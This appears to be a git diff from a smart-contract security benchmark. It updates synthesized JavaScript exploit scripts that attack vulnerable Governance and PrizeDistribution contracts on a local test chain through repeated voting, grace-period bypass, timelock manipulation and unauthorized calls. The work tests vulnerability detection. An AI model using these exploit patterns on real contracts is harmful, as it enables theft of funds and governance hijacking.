sleep(10000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal to reach the threshold + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], + from: envInfo.accounts[i], gas: 3000000 }); + await sleep(1000); } - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + // No need to wait for grace period since it is bypassed + + // Step 3: Execute the proposal immediately + console.log(`Executing proposal ${proposalId} immediately after voting...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,6 +101,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-8.js b/CI/exploits/synthesized/GovernanceExploit-8.js index 1c870c94..5d7b9ac5 100644 --- a/CI/exploits/synthesized/GovernanceExploit-8.js +++ b/CI/exploits/synthesized/GovernanceExploit-8.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-8' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,47 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { + // Step 2: Vote on the proposal multiple times after voting period + for (let i = 0; i < 3; i++) { + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); + await sleep(500); } // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - + await sleep(5000); + // Step 3: Execute the proposal - console.log("Executing the proposal..."); + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,6 +102,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized/GovernanceExploit-9.js b/CI/exploits/synthesized/GovernanceExploit-9.js index 1c870c94..c4a00bbf 100644 --- a/CI/exploits/synthesized/GovernanceExploit-9.js +++ b/CI/exploits/synthesized/GovernanceExploit-9.js @@ -14,14 +14,14 @@ let governanceExploitLogger = getLogger('governance'); const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', 'Governance.sol'), 'utf8'); +let contractFileFullName = 'Governance-9' +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); let solcVersion = extractSolcVersion(source); /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,46 +36,48 @@ let solcVersion = extractSolcVersion(source); * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { // Load the ABI of the Governance contract + // Assuming you have already compiled and have the ABI const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); // Step 1: Create a proposal + console.log("Creating a proposal..."); let createResult = await contractInstance.methods.createProposal().send({ from: envInfo.accounts[0], gas: 3000000 }); - const proposalId = 0; + const proposalId = 0; // let's always target the first proposal in the list; governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - // Exploit the fact that voting counts are not correctly bounded + // Wait for review period and voting period to end + governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 10 seconds!`); + await sleep(10000); + + // Step 2: Vote on the proposal but not reaching the threshold + console.log(`Voting on proposal ${proposalId}...`); await contractInstance.methods.vote(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - // Repeat voting from the same account multiple times - for (let i = 1; i <= 3; i++) { - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - } - // Wait for grace period to finish console.log("Waiting for grace period to end..."); - await sleep(10000); - - // Step 3: Execute the proposal - console.log("Executing the proposal..."); + await sleep(5000); + + // Step 3: Wait for bypass duration to finish + console.log("Waiting for bypass duration to end..."); + await sleep(10000); // Wait for an additional 10 seconds to allow bypass + + // Step 4: Execute the proposal + console.log(`Executing proposal ${proposalId}...`); const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ from: envInfo.accounts[0], gas: 3000000 }); - governanceExploitLogger.info(`I am successful!`) + governanceExploitLogger.info(`Proposal ${proposalId} executed without meeting vote threshold!`); + return true; } catch (error) { console.error("Error in governance actions:", error); @@ -101,6 +103,7 @@ async function exploit(web3, envInfo, contractAddress) { */ module.exports = async function runTests(web3, envInfo, contractAddress) { // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + web3 = await createLoggerWeb3(web3); console.log(`contractAddress: ${contractAddress}`) // Execute the exploit let result = await exploit(web3, envInfo, contractAddress); diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-1.js b/CI/exploits/synthesized/MultiStageAuctionExploit-1.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-1.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-1.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-10.js b/CI/exploits/synthesized/MultiStageAuctionExploit-10.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-10.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-10.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-11.js b/CI/exploits/synthesized/MultiStageAuctionExploit-11.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-11.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-11.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-12.js b/CI/exploits/synthesized/MultiStageAuctionExploit-12.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-12.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-12.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-13.js b/CI/exploits/synthesized/MultiStageAuctionExploit-13.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-13.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-13.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-14.js b/CI/exploits/synthesized/MultiStageAuctionExploit-14.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-14.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-14.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-15.js b/CI/exploits/synthesized/MultiStageAuctionExploit-15.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-15.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-15.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-16.js b/CI/exploits/synthesized/MultiStageAuctionExploit-16.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-16.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-16.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-17.js b/CI/exploits/synthesized/MultiStageAuctionExploit-17.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-17.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-17.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-18.js b/CI/exploits/synthesized/MultiStageAuctionExploit-18.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-18.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-18.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-19.js b/CI/exploits/synthesized/MultiStageAuctionExploit-19.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-19.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-19.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-2.js b/CI/exploits/synthesized/MultiStageAuctionExploit-2.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-2.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-2.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-20.js b/CI/exploits/synthesized/MultiStageAuctionExploit-20.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-20.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-20.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-21.js b/CI/exploits/synthesized/MultiStageAuctionExploit-21.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-21.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-21.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-22.js b/CI/exploits/synthesized/MultiStageAuctionExploit-22.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-22.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-22.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-23.js b/CI/exploits/synthesized/MultiStageAuctionExploit-23.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-23.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-23.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-24.js b/CI/exploits/synthesized/MultiStageAuctionExploit-24.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-24.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-24.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-25.js b/CI/exploits/synthesized/MultiStageAuctionExploit-25.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-25.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-25.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-3.js b/CI/exploits/synthesized/MultiStageAuctionExploit-3.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-3.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-3.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-4.js b/CI/exploits/synthesized/MultiStageAuctionExploit-4.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-4.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-4.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-5.js b/CI/exploits/synthesized/MultiStageAuctionExploit-5.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-5.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-5.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-6.js b/CI/exploits/synthesized/MultiStageAuctionExploit-6.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-6.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-6.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-7.js b/CI/exploits/synthesized/MultiStageAuctionExploit-7.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-7.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-7.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-8.js b/CI/exploits/synthesized/MultiStageAuctionExploit-8.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-8.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-8.js diff --git a/CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-9.js b/CI/exploits/synthesized/MultiStageAuctionExploit-9.js similarity index 100% rename from CI/exploits/synthesized-prompt-1/MultiStageAuctionExploit-9.js rename to CI/exploits/synthesized/MultiStageAuctionExploit-9.js diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-1.js b/CI/exploits/synthesized/PrizeDistributionExploit-1.js index 68e9e2f8..c664c2f6 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-1.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-1.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-1.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -36,60 +35,61 @@ let BONUS_THRESHOLD = 10; */ async function exploit(web3, envInfo, contractAddress) { try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting to manipulate the lock time..."); - - // Manipulate the lock time by extending it with just below the BONUS_THRESHOLD, multiple times - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Sending just below the threshold amount - gas: 300000 - }); - - console.log(`Manipulation ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(500); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Wait until just after the unlockTime to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to extend the lock time..."); + + // Extend the lock time with just enough value to trigger the increase, multiple times + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + + console.log(`Extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } } catch (error) { - console.error(error.stack); - return false; + console.error(error.stack); + return false; } - } - +} + + diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-10.js b/CI/exploits/synthesized/PrizeDistributionExploit-10.js index 18c8b8bf..dff55c00 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-10.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-10.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-10.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,88 +34,57 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting cumulative extension manipulation..."); - - // Step 1: Incrementally extend the lock time with small amounts to avoid significant extensions - for (let i = 0; i < 10; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD / 10, // Sending small amounts to avoid significant extensions - gas: 300000 - }); - - console.log(`Incremental extension ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 2: Send a series of alternating minimal and just-above-threshold amounts - for (let i = 0; i < 5; i++) { - // Send the minimal amount (1 wei) - let minimalTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); - await sleep(300); // Short delay between calls - - // Send just above the threshold to trigger a small bonus period - let thresholdTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, - gas: 300000 - }); - - console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); - await sleep(300); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 3: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let beneficiaryAccount = envInfo.accounts[1]; // Beneficiary account + + console.log("Checking if prize can be prematurely claimed..."); + + let currentBlockTime = await web3.eth.getBlock('latest').then(block => block.timestamp); + let unlockTime = await contractInstance.methods.unlockTime().call(); + + console.log(`Current block time: ${currentBlockTime}, Unlock time: ${unlockTime}`); + + if (currentBlockTime < unlockTime) { + console.log("Attempting to manipulate the block time for earlier prize claim..."); + // Here, we would need miner collusion to manipulate the timestamp, but we simulate this action + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(200); + + if (claimTx.status) { + console.log("Prize successfully claimed with manipulated block time!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize, manipulation did not work as expected!"); + return false; // Exploit failed + } + } else { + console.error("Block time manipulation unnecessary, the unlock time has already passed."); + return false; // No need for exploitation + } + } catch (error) { + console.error(error.stack); + return false; + } } + + + + + + + + + /** * Executes the exploit and checks its result * diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-11.js b/CI/exploits/synthesized/PrizeDistributionExploit-11.js index c94b4506..77da57ed 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-11.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-11.js @@ -11,16 +11,15 @@ const { const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-11.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,85 +34,46 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting mixed extension manipulation..."); - - // Step 1: Incrementally extend the lock time with small amounts to avoid significant extensions - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD / 20, // Sending very small amounts to increment lock time - gas: 300000 - }); - - console.log(`Small increment ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(200); // Short delay between calls to create slight time differences - } - - // Step 2: Send periodic significant amounts to create larger extensions - for (let i = 0; i < 3; i++) { - // Sending an amount just below the threshold to manipulate the lock time without triggering significant bonus - let almostThresholdTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, - gas: 300000 - }); - - console.log(`Almost threshold extension ${i+1} sent, tx status: ${almostThresholdTx.status}`); - await sleep(500); // Short delay between calls - - // Sending a significant amount to extend the lock time more substantially - let significantTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 2, - gas: 300000 - }); - - console.log(`Significant extension ${i+1} sent, tx status: ${significantTx.status}`); - await sleep(500); // Short delay between calls - } - - let unlockTime = await contractInstance.methods.unlockTime().call(); - console.log("Final unlock time:", unlockTime); - await sleep(500); - - let currentTime = Math.floor(Date.now() / 1000); - console.log("Current system time:", currentTime); - - // Step 3: Wait until just after the unlock time to try claiming the prize - if (currentTime < unlockTime) { - let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time - console.log(`Waiting for ${waitTime} seconds until unlock time...`); - await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); - await sleep(500); - } - - // Attempt to claim the prize - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(500); - - if (claimTx.status) { - console.log("Prize successfully claimed!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize!"); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = new web3.eth.Contract(abi, contractAddress); + let unauthorizedUser = envInfo.accounts[1]; // An unauthorized user, not the organizer + + console.log("Attempting to extend the unlock time as an unauthorized user..."); + + // Unauthorized user tries to extend the unlock time + let extendTx = await contractInstance.methods.extendLockTime(60 * 60 * 24).send({ // Extend by one day + from: unauthorizedUser, + gas: 300000 + }); + await sleep(200); + + // Check the updated unlock time + let newUnlockTime = await contractInstance.methods.unlockTime().call(); + console.log(`New unlock time after unauthorized extension: ${new Date(newUnlockTime * 1000).toString()}`); + + if (extendTx.status) { + console.log("Unauthorized extension successful: Unlock time was extended by an unauthorized user."); + return true; // Exploit successful + } else { + console.error("Failed to extend the unlock time; the transaction did not go through."); + return false; // Exploit failed + } + } catch (error) { + console.error("An error occurred during the exploit attempt:", error); + return false; + } } - + + + + + + + + + diff --git a/CI/exploits/synthesized/PrizeDistributionExploit-12.js b/CI/exploits/synthesized/PrizeDistributionExploit-12.js index 73febda1..a9c5f796 100644 --- a/CI/exploits/synthesized/PrizeDistributionExploit-12.js +++ b/CI/exploits/synthesized/PrizeDistributionExploit-12.js @@ -16,11 +16,10 @@ const { createLoggerWeb3 } = require('@lib/web3/deploy'); // It seems module alias does not work with js path, so, we will resort to the dirty approach. const projectRoot = path.resolve(__dirname, '..', '..', '..'); const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +const contractFileFullName = 'PrizeDistribution-12.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); let solcVersion = extractSolcVersion(source); -let BONUS_THRESHOLD = 10; /** * Attempts to exploit a vulnerability in the ProductOrder smart contract. @@ -35,95 +34,60 @@ let BONUS_THRESHOLD = 10; * @throws {Error} If there's an error during the exploit process. */ async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = await new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; - let beneficiaryAccount = envInfo.accounts[1]; - - console.log("Starting strategic extensions manipulation..."); - - // Step 1: Extend the lock time with just below the threshold to avoid bonus period - for (let i = 0; i < 5; i++) { - let extendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD - 1, // Sending just below the threshold - gas: 300000 - }); - - console.log(`Extension just below threshold ${i+1} sent, tx status: ${extendTx.status}`); - await sleep(300); // Short delay between calls to create slight time differences - } - - // Step 2: Send a series of alternating minimal and just-above-threshold amounts - for (let i = 0; i < 3; i++) { - // Send the minimal amount (1 wei) - let minimalTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: 1, - gas: 300000 - }); - - console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); - await sleep(300); // Short delay between calls - - // Send just above the threshold to trigger a small bonus period - let thresholdTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD + 1, - gas: 300000 - }); - - console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); - await sleep(300); // Short delay between calls - } - - // Step 3: Send a large amount to extend the lock time significantly and increase the prize - let largeExtendTx = await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension - gas: 300000 - }); - - console.log(`Large increment sent, tx status: 